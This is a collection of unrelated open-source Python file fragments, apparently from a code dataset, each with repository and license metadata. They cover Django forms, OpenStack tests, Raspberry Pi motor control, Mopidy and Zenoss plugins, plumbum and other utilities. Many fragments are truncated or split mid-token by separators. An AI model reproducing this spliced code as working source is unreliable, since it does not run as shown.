except:
pass
return False
|
malept/mad-mobileweb | madpub/apps/main/forms.py | Python | apache-2.0 | 2,605 | 0.001152 | # -*- coding: utf-8 -*-
from django.forms import ModelForm
from django.utils.translation import ugettext_lazy as _
from html5 import forms
from . import models
class HTML5FormMixin(object):
def as_div(self):
'''Returns this form rendered as HTML <div>s, optimized for jQuery
Mobile.
'''
... | ess fields
class Meta:
model = models.Residence
fields = (
'date',
)
class DamagesDetailsForm(ModelForm, HTML5FormMixin):
# TODO pic | tures
# TODO accessible buttons in template
class Meta:
model = models.Residence
fields = (
'damage',
'cause',
'description',
'location',
)
class ResidenceDamagesDetailsForm(ModelForm, HTML5FormMixin):
class Meta:
model = mo... |
petrutlucian94/nova | nova/tests/functional/v3/test_console_auth_tokens.py | Python | apache-2.0 | 1,890 | 0 | # Copyright 2013 Cloudbase Solutions Srl
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable l... | License.
import re
from oslo_seri | alization import jsonutils
from nova.tests.functional.v3 import test_servers
class ConsoleAuthTokensSampleJsonTests(test_servers.ServersSampleBase):
ADMIN_API = True
extension_name = "os-console-auth-tokens"
extra_extensions_to_load = ["os-remote-consoles"]
def _get_console_url(self, data):
... |
pytnam/pytnam | analysis/processing/HighPassFilter.py | Python | gpl-3.0 | 181 | 0 | '''Crea | ted by rj as part of the Pytnam Project'''
from analysis.Reportable impor | t Reportable
class HighPassFilter(Reportable):
def return_as_node(self):
pass
# TODO
|
sussexstudent/falmer | falmer/frontend/migrations/0002_auto_20170703_1345.py | Python | mit | 462 | 0 | # -*- co | ding: utf-8 -*-
# Generated by Django 1.11.2 on 2017-07-03 13:45
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('frontend', '0001_initial'),
]
operations = [
migrations.AlterField(
mod... | field=models.DateTimeField(auto_now=True),
),
]
|
intelidomo/rpi_snippets | stepper_motor/stepper_motor.py | Python | mit | 5,959 | 0.036919 | # intelidomo.com
import time
import RPi.GPIO as GPIO
GPIO.setmode(GPIO.BCM)
class StepperMotor:
def __init__(self, pin1, pin2, pin3, pin4, mode=2, delay=0.005, stepsbyspin=512):
self.p1 = pin1
self.p2 = pin2
self.p3 = pin3
self.p4 = pin4
self.modo = mode
self.delay = delay
self.lap = 512
GPIO.setup(... | e)
GPIO.output(self.p | 3, False)
GPIO.output(self.p4, False)
time.sleep(self.delay)
def goForward(self, steps=1):
for i in range(steps):
self.stepForward()
self.off()
def goBackwards(self, steps=1):
for i in range(steps):
self.stepBackward()
self.off()
def clockwise(self, degrees=360):
steps = self.lap*degrees/360
... |
mopidy/mopidy-alsamixer | mopidy_alsamixer/__init__.py | Python | apache-2.0 | 998 | 0 | import pathlib
import pkg_resources
from mopidy import config, ext
__version__ = pkg_resources.get_distribution("Mopidy-ALSAMixer").version
class Extension(ext.Extension):
dist_name = "Mopidy-ALSAMixer"
ext_name = "alsamixer"
version = __vers | ion__
def get_default_config(self):
return config.read(pathlib.Path(__file__).parent / "ext.conf")
def get_config_schema(self):
schema = super().get_config_schema()
schema["device"] = config.String()
schema["card"] = config.Integer(optional=True, minimum=0)
schema["cont... | =0, maximum=100)
schema["max_volume"] = config.Integer(minimum=0, maximum=100)
schema["volume_scale"] = config.String(
choices=("linear", "cubic", "log")
)
return schema
def setup(self, registry):
from mopidy_alsamixer.mixer import AlsaMixer
registry.add... |
Hellrungj/CSC-412-Networking | rpc-project/venv/lib/python2.7/site-packages/plumbum/machines/remote.py | Python | gpl-3.0 | 15,556 | 0.005786 | import re
from contextlib import contextmanager
from plumbum.commands import CommandNotFound, shquote, ConcreteCommand
from plumbum.lib import _setdoc, ProcInfo, six
from plumbum.machines.local import LocalPath
from tempfile import NamedTemporaryFile
from plumbum.machines.base import BaseMachine
from plumbum.machines.e... | arts2.append(p)
return RemotePath(self, *parts2)
def which(self, progname):
"""Looks up a program in the ``PATH``. If the program is not found, raises
:class:`CommandNotFound <plumbum.commands.CommandNotFound>`
:param progname: The program's name. Note that if underscores (``_ | ``) are present
in the name, and the exact name is not found, they will be replaced
in turn by hyphens (``-``) then periods (``.``), and the name will
be looked up again for each alternative
:returns: A :class:`RemotePath <plumb |
screwgoth/JugheadBot | hotels/fb.py | Python | mit | 7,670 | 0.006519 | import os
import logging
import requests
import json
from hotels.models import FBUser
class FB(object):
"""
Create Facebook Responses
"""
def __init__ (self, body):
logging.basicConfig(level=logging.INFO)
self.logger = logging.getLogger("Facebook")
self.body = body
self... | "payload": {
"url": image_url
}
}
}
}
}
messages.append(tempresp)
self.logger.info("Appended FB Image messages")
return messages
def getUserInfo(self, userID):
"""
... | me = "Last Name"
gender = "Not mentioned"
timezone = "0.0"
is_payment_enabled = False
headers = {"Content-Type":"application/json"}
fields = "first_name,last_name,profile_pic,timezone,gender,is_payment_enabled,last_ad_referral"
params = {"fields": fields, "access_token":... |
enix223/djolar | djolar/parser.py | Python | mit | 10,356 | 0.00029 | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db.models import Q
from django.http.request import QueryDict
import re
class DjangoSearchParser(object):
'''
Query string Format:
q=key1__eq__value1|key2__lt__value2|key3__co__value3&s=order&extrafield=value
Syntax:
... | aise ValueError(
"""the query_maping key value should be type of
list/tuple or str"""
)
return tmpQueryObj
def get_query_fields(self, requestParams):
'''
| Get model query fields, eg. Q(aa__contains='123') & Q(bb='123')
:param requestParams, The query dict get from request
:return Q query objects combines with `and` operator
'''
assert isinstance(requestParams, QueryDict), \
'requestParams should be QueryDict'
... |
undergroundtheater/willow | willow/models/venue.py | Python | mpl-2.0 | 198 | 0.010101 | from flask i | mport current_app, flash, abort
from willow.app import willow_signals
from slugify import slugify
from willow.models import db, mixins
class Venue(db.Model, mixins.WLWMixin):
pass
| |
mfortner/MyPythonKoans | python2/koans/about_triangle_project.py | Python | mit | 910 | 0.002198 | #!/usr/bin/env python
# -*- coding: utf-8 -*-
from runner.koan import *
# You need to write the triangle method in the file 'triangle.py'
from triangle import *
class AboutTriangleProject(Koan):
def test_equilateral_t | riangles_have_equal_sides(self):
self.assertEqual('equilateral', triangle(2, 2, 2))
self.assertEqual('equilateral', triangle(10, 10, 10))
def test_isosceles_triangles_have_exactly_two_sides_equal(self):
self.assertEqual('isosceles', triangle(3, 4, 4))
self.assertEqual('isosceles',... | s', triangle(4, 4, 3))
self.assertEqual('isosceles', triangle(10, 10, 2))
def test_scalene_triangles_have_no_equal_sides(self):
self.assertEqual('scalene', triangle(3, 4, 5))
self.assertEqual('scalene', triangle(10, 11, 12))
self.assertEqual('scalene', triangle(5, 4, 2))
|
GoogleCloudPlatform/django-cloud-deploy | django_cloud_deploy/tests/lib/utils.py | Python | apache-2.0 | 2,258 | 0 | # Copyright 2018 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, ... | T WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import datetime
import random
import re
import string
TIMESTAMP_FORMAT = '%Y%m%d%H%M%S'
def get_resource_name(resource_type: str = '',
... | sh_len: int = 4,
timestamp_format: str = TIMESTAMP_FORMAT,
delimiter: chr = '-') -> str:
"""Generate resource names as TYPE-YYYYMMDD-HHMMSS-HASH.
This function is useful to avoid operations on the same resource when
running integration tests simultaneously.
... |
lingdb/CoBL-public | ielex/lexicon/migrations/0014_meaningLists.py | Python | bsd-2-clause | 15,673 | 0.000064 | # -*- coding: utf-8 -*-
from __future__ import unicode_literals, print_function
from django.db import migrations
# data :: [{name :: String, meanings :: [{id :: Int, name :: String}]}]
data = [
{'name': 'Stable50',
'meanings': [
{'id': '13', 'name': 'bite'},
{'id': '14', 'name'... | '173', 'name': 'think'},
{'id': '177', 'name': 'throw'},
| {'id': '181', 'name': 'tree'},
{'id': '182', 'name': 'turn'},
{'id': '185', 'name': 'walk'},
{'id': '190', 'name': 'wet'},
{'id': '201', 'name': 'with'},
{'id': '202', 'name': 'woman'},
{'id': '203', 'name': 'forest'}]
},
{'name':... |
CERNDocumentServer/cds-videos | cds/modules/flows/errors.py | Python | gpl-2.0 | 1,558 | 0 | # -*- coding: utf-8 -*-
#
# This file is part of Invenio.
# Copyright (C) 2021 CERN.
#
# Invenio is free software; you can redistribute it
# and/or modify it under the terms of the GNU General Public License as
# published by the Free Software Foundation; either version 2 of the
# License, or (at your option) any later... | license, CERN does not
# waive the privileges and immunities granted to it by virtue of its status
# as an Intergovernmental Organization or submit itself to any jurisdiction.
"""Webhook errors."""
from __future__ import absolute_import
class FlowsError(Exception):
"""General webhook error."""
class FlowDoes... | d when the payload is invalid."""
class ExtractMetadataTaskError(FlowsError):
"""Raised when the extract metadata task ."""
class ExtractFramesTaskError(FlowsError):
"""Raised when the extract frames task ."""
class TaskAlreadyRunningError(FlowsError):
"""Raised when a task is restarted while is runni... |
userzimmermann/python-modeled | modeled/member/dict.py | Python | gpl-3.0 | 2,359 | 0.000848 | # python-modeled
#
# Copyright (C) 2014 Stefan Zimmermann <zimmermann.code@gmail.com>
#
# python-modeled is free software: you can redistribute it and/or modify
# it under the terms of the GNU Lesser General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your op... | will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU Lesser General Public License for more details.
#
| # You should have received a copy of the GNU Lesser General Public License
# along with python-modeled. If not, see <http://www.gnu.org/licenses/>.
"""modeled.member.dict
.. moduleauthor:: Stefan Zimmermann <zimmermann.code@gmail.com>
"""
from six import with_metaclass
from moretools import cached, decamelize
impo... |
McIntyre-Lab/mcscript | sam_compare.py | Python | gpl-3.0 | 33,586 | 0.00658 | #!/usr/bin/env python
from __future__ import print_function
## @package sam_compare
# This script compares two SAM files (sequence alignment maps) and
# generates counts for similarly mapped reads.
# Translated to python from an existing perl script.
# @author Oleksandr Moskalenko <om@hpc.ufl.edu>
# @version 0.1... | er.debug("Creating FASTQ dictionary...")
tstart = time.time()
fqids = dict((x,None) for x in ids)
logger.debug("Time to create FASTQ ids dictionary: {0:n} seconds, {1:n} entries".format(time.time() - tstart, len(fqids)))
else:
logger.error( | "Unable to get FASTQ ids from file '{0}':\n{1}".format(infilename, output))
except Exception as e:
logger.error("Unable to get FASTQ ids from file '{0}':\n{1}".format(infilename, e))
fqids = {}
# remove temporary file, may not exist
try:
os.unlink(outfilename)
except Exception a... |
kanzure/careful-requests | careful_requests/careful_requests.py | Python | bsd-2-clause | 4,129 | 0.002906 | # -*- coding: utf-8 -*-
"""
The requests library is wonderful. However, it injects custom headers into
outgoing requests due to urllib3 and httplib/http.client. This is an attempt to
isolate and fix this issue.
see also:
https://github.com/shazow/urllib3/pull/138
https://github.com/kennethreitz/requests/pull/1... | has a
# default charset of iso-8859-1.
body = body.encode('iso-8859-1')
try:
self.endheaders(body)
except TypeError as exception: # py26
raise exception
class CarefulHTTPSConnection(HTTPSConnection, CarefulHTTPConnection): |
pass
class CarefulVerifiedHTTPSConnection(CarefulHTTPSConnection):
"""
Based on httplib.HTTPSConnection but wraps the socket with
SSL certification.
"""
cert_reqs = None
ca_certs = None
def set_cert(self, key_file=None, cert_file=None,
cert_reqs='CERT_NONE', ca_certs... |
svpcom/pyopenssl-pypy | leakcheck/crypto.py | Python | apache-2.0 | 1,629 | 0.001842 | # Copyright (C) Jean-Paul Calderone
# See LICENSE for details.
import sys
from OpenSSL.crypto import TYPE_DSA, Error, PKey, X509
class Checker_X509_get_pubkey(object):
"""
Leak checks for L{X509.get_pubkey}.
"""
def __init__(self, iterations):
self.iterations = iterations
def check_exce... | return a PKey object.
"""
small = xrange(3)
for i in xrange(self.iterations):
key = PKey()
key.generate_key(TYPE_DSA, 256)
for i in small:
cert = X509()
cert.set_ | pubkey(key)
for i in small:
cert.get_pubkey()
def vmsize():
return [x for x in file('/proc/self/status').readlines() if 'VmSize' in x]
def main(iterations='1000'):
iterations = int(iterations)
for klass in globals():
if klass.startswith('Checker_'):
... |
noxdafox/pebble | pebble/concurrent/process.py | Python | lgpl-3.0 | 6,966 | 0.000861 | # This file is part of Pebble.
# Copyright (c) 2013-2021, Matteo Cafasso
# Pebble is free software: you can redistribute it and/or modify
# it under the terms of the GNU Lesser General Public License
# as published by the Free Software Foundation,
# either version 3 of the License, or (at your option) any later versio... | reader, writer = pipe
reader.close()
result = process_execute(function, *args, **kwargs)
send_result(writer, result)
def _get_result(future, pipe, timeout):
"""Waits for result and | handles communication errors."""
counter = count(step=SLEEP_UNIT)
try:
while not pipe.poll(SLEEP_UNIT):
if timeout is not None and next(counter) >= timeout:
return TimeoutError('Task Timeout', timeout)
elif future.cancelled():
return CancelledErro... |
pengzhuo/gameServer | server/models/singleton.py | Python | mit | 342 | 0 | # coding: utf-8
class Singleton(type):
def __init__(cls, name, bases | , class_dict):
super(Singleton, cls).__init__(name, bases, class_dict)
cls._instance = None
def __call__(cls, *args):
if cls._instance is None:
cls._instance = super(Singleton, cls).__call__(*args)
r | eturn cls._instance
|
greezybacon/xmlconfig | test/testImport.py | Python | bsd-3-clause | 4,610 | 0.007592 | # encoding: utf-8
import sys
sys.path.append(sys.path.insert(0,"../src"))
def urlopen(*args, **kwargs):
# Only parse one arg: the url
return Urls[args[0]]
# Provide a simple hashtable to contain the content of the urls and
# provide a mock object similar to what will be returned from the
# real urlopen() fu... | th_setup
class MockUrlContent(St | ringIO):
def __init__(self, content):
super(MockUrlContent, self).__init__(content)
self.headers = {
'last-modified': time()
}
def close(self):
pass
scheme_re = re.compile(r'file:(/+)?')
class MockUrlCache(dict):
def __setitem__(self, name, content):
... |
iulianbute/labs | python/solutii/iulian_andrei/icao/from_icao.py | Python | mit | 1,888 | 0.000542 | #!/usr/bin/env python
# *-* coding: UTF-8 *-*
"""
Organizaţia Internaţională a Aviaţiei Civile propune un alfabet în care
fiecărei litere îi este asignat un cuvânt pentru a evita problemele în
înțelegerea mesajelor critice.
Pentru a se păstra un istoric al conversațiilor s-a decis transcrierea lor
conform următoarelo... | ă:
Scrie un program care să primească un fișier ce conține mesajul
brut (scris folosind alfabetul ICAO) și generează un fișier
numit icao_intrare ce va conține mesajul inițial.
Mai jos găsiți un dicționar ce conține o versiune a alfabetului ICAO:
"""
ICAO = {
'a': 'alfa', 'b': 'bravo', 'c': 'charlie',... | 'p': 'papa', 'q': 'quebec', 'r': 'romeo', 's': 'sierra', 't': 'tango',
'u': 'uniform', 'v': 'victor', 'w': 'whiskey', 'x': 'x-ray', 'y': 'yankee',
'z': 'zulu'
}
def din_icao(fisier_intrare):
"""Funcția va primi calea către fișierul ce conține mesajul brut și
va genera un fișier numit icao_intrare ce v... |
eScatter/cstool | test/test_phonon.py | Python | apache-2.0 | 1,357 | 0.000738 | from cstool.parse_input import (read_input, check_settings, cstool_model)
from cstool.phonon import (phonon_cs_fn)
from cslib import (units)
import numpy as np
def test_ph | onon_cs_fn_single():
"""Tests that the phonon subroutine returns a function that
can handle arrays and returns correct units."""
settings = read_input('data/materials/pmma.yaml')
settings.phonon.model = 'single'
if not check_settings(settings, cstool_model):
raise ValueError("Parsed settings... | assert cs.shape == (100, 100)
assert cs.dimensionality == units('m²/sr').dimensionality
def test_phonon_cs_fn_dual():
"""Tests that the phonon subroutine returns a function that
can handle arrays and returns correct units."""
settings = read_input('data/materials/pmma.yaml')
if not check_settings(... |
crobinso/pkgdb2 | pkgdb2/lib/exceptions.py | Python | gpl-2.0 | 1,325 | 0 | # -*- coding: utf-8 -*-
#
# Copyright © 2014 Red Hat, Inc.
#
# This copyrighted material is made available to anyone wishing to use,
# modify, copy, or redistribute it subject to the terms and conditions
# of the GNU General Public License v.2, or (at your option) any later
# version. This program is distributed in t... | , Fifth Floor, Boston, MA 02110-1301, USA.
#
# Any Red Hat trademarks that are incorporated in the source
# code or documentation a | re not subject to the GNU General Public
# License and may only be used or replicated with the express permission
# of Red Hat, Inc.
#
'''
PkgDB exceptions classes.
'''
class PkgdbException(Exception):
""" Generic Exception object used to throw pkgdb2 specific error.
"""
pass
class PkgdbBugzillaExcepti... |
cscanlin/munger-builder | manage.py | Python | mit | 257 | 0 | #!/usr/bin/env python
import o | s
import sys
if __name__ == "__main__":
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "munger_builder.settings")
from dja | ngo.core.management import execute_from_command_line
execute_from_command_line(sys.argv)
|
jcurry/ZenPacks.Markit.RigHost | ZenPacks/Markit/RigHost/__init__.py | Python | gpl-2.0 | 1,531 | 0.002613 | import Globals
from Products.ZenModel.ZenPack import ZenPack as ZenPackBase
from Products.ZenUtils.Utils import unused, zenPath
import os
unused(Globals)
_plugins = [
'rig_host_app_transform1.py',
'copy_server_config_file.sh',
]
class ZenPack(ZenPackBase):
def install(self, app):
super(Zen... | exec_dir, plugin)
#os.system('ln -sf "%s" "%s"' % (self.path(plugin), plugin_path))
os.system('ln -sf "%s" "%s"' % (zp_plugin_path, plugin_path))
os.system('chmod 0755 %s' % plugin_path)
def remove_plugin_symlinks(self):
for plugin in _plugins:
os.system('rm ... | ove(app, leaveObjects=leaveObjects)
|
Molar2016/Pressure_drop-in-my-loop | Test.py | Python | gpl-3.0 | 1,102 | 0.010889 | # -*- coding: utf-8 -*-
import sys
import math
from numpy import arange
sys.path.append("g:\\Github\\iapws")
from iapws import IAPWS97
student = {2: 1, 3: 2, 4: 3}
print(student)
print(len(student))
m = student.keys()
n = student.values()
print(m)
print(n)
s = {}
for i in range(0, 2):
s[i] = 1
print(s)
m_cache = ... | T=100 + 273.15, x=0)
steam_sat = IAPWS97(T=100 + 273.15, x=1)
g_ = 500.0
u_zhesuan_g = 10.0
u_zhesuan_l = 0.4
k = (water_sat | .v / steam_sat.v) ** 0.1
k1 = u_zhesuan_g * (1 + (u_zhesuan_l / u_zhesuan_g) ** k)
k2 = 2.9 * (9.8 * 0.0589 * (water_sat.v - water_sat.v ** 2 / steam_sat.v)) ** 0.25
print(u_zhesuan_g * (k1 + k2) ** -1)
print('hahah')
i=1
def f():
i=2
return i
print(i)
print(f())
while mina<=j<=mixa:
if j <0.01:
ma.... |
leilihh/novaha | nova/kvmha/internal_driver.py | Python | apache-2.0 | 2,236 | 0.000894 | #
# KVM HA in OpenStack (Demo Version)
#
# Copyright HP, Corp. 2014
#
# Authors:
# Lei Li <li.lei2@hp.com>
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# ht... | cheduler with
useful information about availability through kinds of approach.
"""
from nova import servicegroup
from nova import db
from nova import context
from nova import availability_zones
from nova.openstack.common import log as logging
from nova.openstack.common import timeutils
from nova.openstack.common impor... | OpenStack service to detect
host failure.
"""
pass
def detect_failure_host():
"""
Periodicly check in kvm_proxy_run() for status of compute hosts.
Approach via service status.
Return: Name of the failure compute node if detected.
None if everything going fine.
"""
ser... |
MegaMark16/django-cms-wunderground | cmsplugin_wunderground/__init__.py | Python | bsd-3-clause | 41 | 0.073171 | VERSI | ON = (1,0,0)
__vers | ion__ = "1.0.0"
|
ltilve/ChromiumGStreamerBackend | tools/telemetry/third_party/gsutilz/third_party/boto/tests/unit/logs/test_layer1.py | Python | bsd-3-clause | 655 | 0 | # | !/usr/bin/env python
from boto.logs.layer1 import CloudWatchLogsConnection
from tests.unit import AWSMockServiceTestCase
class TestDescribeLogs(AWSMockServiceTestCase):
connection_class = CloudWatchLogsConnection
def default_body(self):
return b'{"logGroups": []}'
def test_describe(self):
... | api_response = self.service_connection.describe_log_groups()
self.assertEqual(0, len(api_response['logGroups']))
self.assert_request_parameters({})
target = self.actual_request.headers['X-Amz-Target']
self.assertTrue('DescribeLogGroups' in target)
|
ajaxsys/dict | dict/urls.py | Python | bsd-3-clause | 337 | 0.008902 | # coding=UTF-8
from django.conf.urls import patterns, url
from dict import views
urlpatte | rns = patterns('',
# ex: /dict/
url(r'^$', views.index, name='index'),
# ex: /dict/weblios/hello/?callback=xxx
url(r'^(?P<dict_type>weblio(|s) | |wiktionary|ewords)/(?P<key>[^\/]+)/$', views.query, name='query'),
)
|
timwee/emacs-starter-kit-mr-flip-forked | vendor/rope/ropetest/refactor/restructuretest.py | Python | gpl-3.0 | 7,926 | 0.000126 | from rope.refactor import restructure
from ropetest import testutils
import unittest
class RestructureTest(unittest.TestCase):
def setUp(self):
super(RestructureTest, self).setUp()
self.project = testutils.sample_project()
self.pycore = self.project.pycore
self.mod = testutils.cr... | .get_changes())
self.assertEquals('def f(p):\n return dup(p)\nx = dup("")\n'
'i = 1 * 2\n', self.mod.read())
if __name__ == '__main__':
unitte | st.main()
|
ArVID220u/invandringsbot | massinvandring_streamer.py | Python | mit | 2,159 | 0.006072 | # the MassinvandringStreamer is a subclass of TwythonStreamer
from twython import TwythonStreamer
# import twythonaccess, to be able to send tweets
import twythonaccess
# import the setup file with the trigger word and rant
import setup
# import regex, to be able to filter out sarcastic tweets
import re
# the Massinva... | d.org/migration/mig/OECD%20Migration%20Policy%20Debates%20Numero%202.pdf. Deras slutsats: massinvandring är bra. Läs!"
# try to send the reply (not guaranteed)
if twythonaccess.send_rant(tweets = replies, in_reply_to_status_id = tweet["id"]):
self.replied_to_users.append(tweet["user"]["id"])... | print("STREAMING API ERROR!")
print("Status code:")
print(status_code)
print("Other data:")
print(data)
print("END OF ERROR MESSAGE")
|
acrisci/i3ipc-python | test/test_leaves.py | Python | bsd-3-clause | 398 | 0 | from ipctest import IpcTest
class TestLeaves(IpcTest):
def test_workspace_leaves(self, | i3):
ws_name = self.fresh_workspace()
con1 = self.open_window()
i3.command('[id=%s] floating enable' % con1)
self.open_window()
self.open_window()
ws = [w for w in i3.get_tree().workspaces() if w.name == ws_name][0]
| assert (len(ws.leaves()) == 3)
|
YiqunPeng/Leetcode-pyq | solutions/165CompareVersionNumbers.py | Python | gpl-3.0 | 1,187 | 0.004212 | class Solution:
def compareVersion(self, version1, version2):
"""
:type version1: str
:type version2: str
:rtype: int
"""
v1_str, v2_str = version1.split('.'), version2.split('.')
v1_len, v2_len = len(v1_str), len(v2_str)
length = max(v1_len, v2_len)
... | :
if i < v1_len:
v1.append(int(v1_str[i]))
else:
| v1.append(0)
if i < v2_len:
v2.append(int(v2_str[i]))
else:
v2.append(0)
v1_p, v2_p = 0, 0
while v1_p < length:
if v1[v1_p] < v2[v2_p]:
return -1
elif v1[v1_p] > v2[v2_p]:
... |
Gabotero/GNURadioNext | gr-vocoder/python/qa_ulaw_vocoder.py | Python | gpl-3.0 | 1,610 | 0.015528 | #!/usr/bin/env python
#
# Copyright 2011,2013 Free Software Foundation, Inc.
#
# This file is part of GNU Radio
#
# GNU Radio is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 3, or (at your optio... | t_ulaw_vocoder (gr_unittest.TestCase):
def setUp (self):
self.tb = gr.top_block()
def tearDown (self):
self.tb = None
def test001_module_load (self):
data = (8,24,40,56,72,88,104,120,132,148,164,180,
196,212,228,244,260,276,292,308,324,340)
src = blocks.vec... | ec = vocoder.ulaw_decode_bs()
snk = blocks.vector_sink_s()
self.tb.connect(src, enc, dec, snk)
self.tb.run()
actual_result = snk.data()
self.assertEqual(data, actual_result)
if __name__ == '__main__':
gr_unittest.run(test_ulaw_vocoder, "test_ulaw_vocoder.xml")
|
jaredlunde/cargo-orm | unit_tests/builders/create_table.py | Python | mit | 2,222 | 0 | #!/usr/bin/python3 -S
# -*- coding: utf-8 -*-
"""
`Unit tests for cargo.builder.create_user`
--·--·--·--·--·--·--·--·--·--·--·--·--·--·--·--·--·--·--·--·--·--·--·--·--·--·--
2016 Jared Lunde © The MIT License (MIT)
http://github.com/jaredlunde
"""
import unittest
import psycopg2
from vital.security import ra... | on_delete="cascade", on_update="cascade")
table.set_columns(id=('inte | ger', 'NOT NULL', 'PRIMARY KEY'))
print(table.query)
print(table.query.mogrified)
table = Table(self.orm, 'foo')
table.from_fields(fielda, fieldb, fieldc)
table.constraints('DEFERRABLE', check=(fielda > 10),
initially_immediate=True)
print(table... |
azer/jsbuild | setup.py | Python | mit | 904 | 0.019912 | from distutils.core import setup
import jsbuil | d
files = ['templates/*']
setup(name='JSBuild',
version=".".join( map(str, jsbuild.__version__) ),
description='JSBuild is a command-line utility that provides building CommonJS modules and packages for web',
license='MIT',
author=jsbuild.__aut | hor__,
author_email=jsbuild.__email__,
url='http://github.com/azer/jsbuild',
packages=['jsbuild'],
package_data = {'jsbuild' : files },
scripts=['scripts/jsbuild'],
classifiers=[
'Environment :: Console',
'Intended Audience :: Developers',
'Intended Audience :: System Administr... |
tuxlifan/moneyguru | core/tests/plugin/test_reference_bind.py | Python | gpl-3.0 | 2,766 | 0.005061 | # Copyright 2017 Virgil Dupras
#
# This software is licensed under the "GPLv3" License as described in the "LICENSE" file,
# which should be included with this package. The terms are also available at
# http://www.gnu.org/licenses/gpl-3.0.html
from datetime import date
from itertools import starmap
from hscommon.test... | i1', 'ref1'),
(DATE, 'i2', 'ref1'),
]))
matches = plugin.match_entries(None, None, None, existing_entries, impo | rted_entries)
eq_(len(matches), 1)
|
robin1885/algorithms-exercises-using-python | source-code-from-author-book/Listings-for-Second-Edition/listing_8_21.py | Python | mit | 347 | 0.025937 | import sys
import os
import Image
def simpleQuant():
im = Image.open('bubbles.jpg')
w,h = im.size
for row in range(h):
for col in range(w):
r,g,b = im.getpixel((col,row))
r = r | // 36 * 36
| g = g // 42 * 42
b = b // 42 * 42
im.putpixel((col,row),(r,g,b))
im.show()
|
mythsmith/veusz | veusz/plugins/toolsplugin.py | Python | gpl-2.0 | 19,823 | 0.001816 | # Copyright (C) 2010 Jeremy S. Sanders
# Email: Jeremy Sanders <jeremy@jeremysanders.net>
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# ... | field.FieldColor('color2', descr=_("End of color range"),
default='#4000ff'),
| ]
def apply(self, ifc, fields):
"""Do the randomizing."""
fromwidget = ifc.Root.fromPath(fields['widget'])
col1 = qt4.QColor(fields['color1'])
col2 = qt4.QColor(fields['color2'])
H1, H2 = col1.hue(), col2.hue()
S1, S2 = col1.saturation(), col2.saturation()
... |
gina-alaska/ckanext-nasa_ace | ckanext/nasa_ace_actions/nasa_ace_actions.py | Python | agpl-3.0 | 5,890 | 0.003396 | import ckan.plugins.toolkit as toolkit
import loopback
import chat
import workspace
import pylons
DEV = pylons.config.get('nasa_ace_actions.actions_dev')
## setup for original and extra actions
original_user_create = toolkit.get_action('user_create')
extra_user_create = [workspace] if DEV == "True" else [loopback, c... | se [chat]
original_group_membe | r_delete= \
toolkit.get_action('group_member_delete')
extra_group_member_delete = [] if DEV == "True" else [chat]
## USER_action
def nasa_ace_user_create(context, data_dict=None):
"""user create with extra actions for NASA ACE
"""
original_action = original_user_create(context, data_dict)
for extra... |
anhstudios/swganh | data/scripts/templates/object/building/poi/shared_naboo_tuskcattam_medium.py | Python | mit | 454 | 0.046256 | #### NOTICE: THIS FILE IS AUTOG | ENERATED
#### MODIFICATIONS MAY BE LOST IF DONE IMPROPERLY
#### PLEASE SEE THE ONLINE DOCUMENTATION FOR EXAMPLES
from swgpy.object import *
def create(kernel):
result = Building()
result.template = "object/building/poi/shared_naboo_tuskcattam_medium.iff"
result.attribute_template_id = - | 1
result.stfName("poi_n","base_poi_building")
#### BEGIN MODIFICATIONS ####
#### END MODIFICATIONS ####
return result |
biomodels/MODEL1110130001 | setup.py | Python | cc0-1.0 | 377 | 0.005305 | from setuptools import setup, find_packages
setu | p(name='MODEL1110130001',
version=20140916,
description='MODEL1110130001 from BioModels',
url='http://www.ebi.ac.uk/biomodels-main/MODEL1110130001',
maintainer='Stanley Gu',
maintainer_url='stanleygu@gmail.com',
packages=find_packages(),
package_data={'': ['*.xml', 'README.md'] | },
) |
eggforsale/django-sitesngine | sitesngine/pages/management/commands/pages_import_json.py | Python | mit | 1,570 | 0.001911 | import sys
from django.utils.translation import ugettext as _
from django.core.management.base import BaseCommand, CommandError
from django.contrib.auth.models import User
from si | tesngine.pages.utils import (json_to_pages,
monkeypatch_remove_pages_site_restrictions)
__author__ = 'fearless' # "from birth till death"
class Command(BaseCommand):
args = '<user>'
def handle(self, user, **options):
"""
Impo | rt pages in JSON format. When creating a page and the original
author does not exist, use user as the new author. User may be
specified by username, id or email address.
"""
monkeypatch_remove_pages_site_restrictions()
for match in ('username', 'pk', 'email'):
try:
... |
pgoeser/gnuradio | grc/gui/MainWindow.py | Python | gpl-3.0 | 10,676 | 0.030067 | """
Copyright 2008, 2009, 2011 Free Software Foundation, Inc.
This file is part of GNU Radio
GNU Radio Companion is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
as published by the Free Software Foundation; either version 2
of the License, or (at your option... | .get_tab())
try: self.notebook.set_tab_reorderable(page, True)
except: pass #gtk too old
self.notebook.set_tab_label_packing(page, False, False, gtk.PACK_START)
#only show if blank or manual
if not file_path or show: self._set_page(page)
def close_pages(self):
"""
Close all the pages in this notebook.
... | = filter(lambda file: file, self._get_files()) #filter blank files
open_file = self.get_page().get_file_path()
#close each page
for page in self._get_pages():
self.page_to_be_closed = page
self.close_page(False)
if self.notebook.get_n_pages(): return False
#save state before closing
Preferences.files... |
nanxung/vip_video | main.py | Python | gpl-3.0 | 2,066 | 0.00789 | # -*- coding: utf-8 -*-
"""
Module implementing MainWindow.
"""
import sys
from PyQt5.QtCore import pyqtSlot
from PyQt5.QtWidgets import QMainWindow
